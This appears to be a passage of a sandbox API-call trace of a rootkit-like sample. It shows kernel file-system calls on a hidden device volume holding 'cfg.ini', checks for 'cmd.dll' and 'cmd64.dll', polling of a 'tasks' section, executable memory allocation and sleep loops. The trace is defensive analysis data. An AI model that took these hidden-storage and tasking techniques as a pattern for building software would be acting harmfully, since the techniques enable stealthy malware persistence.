FastMutex=0xfffffa80027d3898) [0126.025] KeLeaveCriticalRegion () [0126.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.025] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.025] KeEnterCriticalRegion () [0126.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbc000 [0126.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.025] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.025] IdePortDispatch () returned 0x103 [0126.025] KeWaitForMutexObject () returned 0x0 [0126.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.026] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.026] IdePortDispatch () returned 0x103 [0126.026] KeWaitForMutexObject () returned 0x0 [0126.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.026] KeLeaveCriticalRegion () [0126.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.027] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.027] KeEnterCriticalRegion () [0126.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] KeLeaveCriticalRegion () [0126.027] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.027] KeEnterCriticalRegion () [0126.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.027] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] KeLeaveCriticalRegion () [0126.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.027] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.027] KeEnterCriticalRegion () [0126.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] ExFreePoolWithTag (P=0xfffffa800cecb230, Tag=0x0) [0126.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] KeLeaveCriticalRegion () [0126.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.027] ReleaseMutex (hMutex=0xf0) returned 1 [0126.027] Sleep (dwMilliseconds=0x927c0) [0126.040] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.040] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.041] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.041] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.041] KeEnterCriticalRegion () [0126.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.041] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.041] IdePortDispatch () returned 0x103 [0126.041] KeWaitForMutexObject () returned 0x0 [0126.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.041] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.041] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.041] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.041] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.041] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800cecb230 [0126.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.041] KeLeaveCriticalRegion () [0126.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.041] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.041] KeEnterCriticalRegion () [0126.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.041] KeLeaveCriticalRegion () [0126.041] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.041] KeEnterCriticalRegion () [0126.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.041] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.041] IdePortDispatch () returned 0x103 [0126.041] KeWaitForMutexObject () returned 0x0 [0126.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.042] KeLeaveCriticalRegion () [0126.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.042] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.042] KeEnterCriticalRegion () [0126.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de3000 [0126.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.042] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.042] IdePortDispatch () returned 0x103 [0126.042] KeWaitForMutexObject () returned 0x0 [0126.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.042] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.042] IdePortDispatch () returned 0x103 [0126.042] KeWaitForMutexObject () returned 0x0 [0126.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.042] KeLeaveCriticalRegion () [0126.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.043] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.043] KeEnterCriticalRegion () [0126.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] KeLeaveCriticalRegion () [0126.043] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.043] KeEnterCriticalRegion () [0126.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.043] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] KeLeaveCriticalRegion () [0126.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.043] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.043] KeEnterCriticalRegion () [0126.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] ExFreePoolWithTag (P=0xfffffa800cecb230, Tag=0x0) [0126.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.043] KeLeaveCriticalRegion () [0126.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.043] ReleaseMutex (hMutex=0xf0) returned 1 [0126.043] Sleep (dwMilliseconds=0x927c0) [0126.057] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.057] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.057] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.057] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.057] KeEnterCriticalRegion () [0126.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.057] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.057] IdePortDispatch () returned 0x103 [0126.057] KeWaitForMutexObject () returned 0x0 [0126.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.058] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.058] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.058] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.058] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.058] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8008a69640 [0126.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] KeLeaveCriticalRegion () [0126.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.058] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.058] KeEnterCriticalRegion () [0126.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] KeLeaveCriticalRegion () [0126.058] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.058] KeEnterCriticalRegion () [0126.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.058] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.058] IdePortDispatch () returned 0x103 [0126.058] KeWaitForMutexObject () returned 0x0 [0126.058] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] KeLeaveCriticalRegion () [0126.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.058] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.058] KeEnterCriticalRegion () [0126.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de8000 [0126.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.058] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.058] IdePortDispatch () returned 0x103 [0126.059] KeWaitForMutexObject () returned 0x0 [0126.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.063] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.063] IdePortDispatch () returned 0x103 [0126.063] KeWaitForMutexObject () returned 0x0 [0126.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.063] KeLeaveCriticalRegion () [0126.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.064] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.064] KeEnterCriticalRegion () [0126.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] KeLeaveCriticalRegion () [0126.064] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.064] KeEnterCriticalRegion () [0126.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.064] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] KeLeaveCriticalRegion () [0126.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.064] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.064] KeEnterCriticalRegion () [0126.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] ExFreePoolWithTag (P=0xfffffa8008a69640, Tag=0x0) [0126.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.064] KeLeaveCriticalRegion () [0126.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.064] ReleaseMutex (hMutex=0xf0) returned 1 [0126.064] Sleep (dwMilliseconds=0x927c0) [0126.078] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.078] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.078] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.078] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.078] KeEnterCriticalRegion () [0126.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.078] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.078] IdePortDispatch () returned 0x103 [0126.078] KeWaitForMutexObject () returned 0x0 [0126.078] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.078] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.078] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.078] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.078] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.078] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800cecb230 [0126.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] KeLeaveCriticalRegion () [0126.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.079] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.079] KeEnterCriticalRegion () [0126.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] KeLeaveCriticalRegion () [0126.079] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.079] KeEnterCriticalRegion () [0126.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.079] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.079] IdePortDispatch () returned 0x103 [0126.079] KeWaitForMutexObject () returned 0x0 [0126.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] KeLeaveCriticalRegion () [0126.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.079] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.079] KeEnterCriticalRegion () [0126.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfe000 [0126.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.079] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.079] IdePortDispatch () returned 0x103 [0126.079] KeWaitForMutexObject () returned 0x0 [0126.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.080] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.080] IdePortDispatch () returned 0x103 [0126.080] KeWaitForMutexObject () returned 0x0 [0126.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.080] KeLeaveCriticalRegion () [0126.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.080] _snprintf (in: 